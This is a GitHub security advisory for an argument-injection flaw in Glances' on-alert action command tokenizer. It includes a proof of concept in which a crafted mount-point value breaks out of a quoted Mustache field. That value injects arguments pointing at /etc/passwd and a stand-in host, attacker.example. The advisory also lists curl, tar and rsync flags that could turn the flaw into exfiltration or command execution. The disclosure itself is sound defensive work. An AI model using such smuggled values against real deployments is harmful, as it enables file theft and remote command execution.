Skip to main content
Menu
Advisories

Argument Injection in On-Alert Action Commands via Unescaped Quote Characters in secure.py's Command Tokenizer

GHSA-56XW-P9QM-R437Published Updated GitHub

Description

glances/secure.py's __split_args() tokenizes on-alert action command lines by treating ' and " as argument-boundary delimiters with no concept of escaping. A Mustache-rendered stat value that is quoted in an action command template (the pattern documented in docs/aoa/actions.rst for values that can contain whitespace, e.g. {{mnt_point}}) can break out of its quote boundary if the value itself contains a literal quote character. An attacker who can influence a monitored stat value (mount point name, filesystem label, AMP result, process name/cmdline, etc.) can inject entirely new argv tokens into the process the action invokes. This is independent of the existing _SHELL_OPERATORS sanitizer in glances/actions.py, which only neutralizes &&, |, >, >>, and & — no shell operator is needed for this attack. It is also independent of --disable-config-exec, which only disables operator interpretation, not quote tokenization.

This is CWE-88 (Argument Injection), a distinct root cause from every prior advisory on this subsystem (CVE-2026-32608, CVE-2026-53925, CVE-2026-62982, GHSA-qcpp-8x79-hhp3, GHSA-3vwc-qwhc-3mj7), all of which addressed CWE-78 shell-operator/chaining injection. Those fixes do not touch quote handling.

Additionally, chevron's default ("escaped") {{var}} Mustache syntax only HTML-escapes " < > & (chevron/renderer.py:_html_escape) — it does not escape the single quote. So this is exploitable through the standard, documented Mustache syntax; the raw/triple-mustache form is not required.

Details

Affected file: glances/secure.py, function __split_args() (lines 48-55), reached via glances/actions.py:GlancesActions.run() → secure_popen() whenever a <plugin>_action / <plugin>_action_repeat is configured in glances.conf.

def __split_args(cmd):
    tmp_split = [_ for _ in list(filter(None, re.split(r'(\s+)|(".*?"+?)|(\'.*?\'+?)', cmd))) if _ != ' ']
    return [_[1:-1] if (_[0] == _[-1] == '"') or (_[0] == _[-1] == '\'') else _ for _ in tmp_split]

Prerequisites:

  • An on-alert action configured in glances.conf (e.g. [fs] critical_action=...) referencing a stat value known to be attacker-influenceable — the same threat model already accepted for CVE-2026-32608 (process names, container names, mount points).
  • The action command quotes that Mustache field, which is the documented way to keep a multi-word value as a single argument (mount points routinely contain spaces).

PoC

Example glances.conf:

[fs]
critical=90
critical_action=/usr/local/bin/fs-alert.sh '{{mnt_point}}' {{percent}}

Attacker-controlled input (e.g. label/path of a mounted device, bind mount, or FUSE mount):

mnt_point = /mnt/usb/x' --evil-flag /etc/passwd http://attacker.example/leak 'y

Driven end-to-end through the real glances.actions.GlancesActions:

from glances.actions import GlancesActions

class Args:
    time = 0
    disable_config_exec = False

commands = ["python3 argv_logger.py '{{mnt_point}}' {{percent}}"]
mustache_dict = {
    'mnt_point': "/mnt/usb/x' --evil-flag /etc/passwd http://attacker.example/leak 'y",
    'percent': '92', 'critical': '90', 'warning': '80', 'careful': '70',
    'time': '2026-08-26T00:00:00',
}

actions = GlancesActions(args=Args())
actions.run('fs_percent', 'critical', commands, repeat=False, mustache_dict=mustache_dict)

Resulting argv delivered to the invoked process:

['argv_logger.py', '/mnt/usb/x', '--evil-flag', '/etc/passwd',
 'http://attacker.example/leak', 'y', '92']

No &&, |, >, >>, or & appears anywhere in the payload. The single quote in the stat value terminates the quoted Mustache field early and injects three new, fully attacker-controlled argv tokens.

Impact

If the action script/binary accepts flags that can be abused via injected arguments (e.g. curl --upload-file/-o/-K, tar --checkpoint-action=exec=, rsync -e, or any custom script whose parsing has side effects), this becomes a primitive for arbitrary file read/write, SSRF/data exfiltration, or command execution. Affects any Glances deployment with an on-alert action configured against an attacker-influenceable stat value.

Affected versions

References

GitHub · nicolargo/glances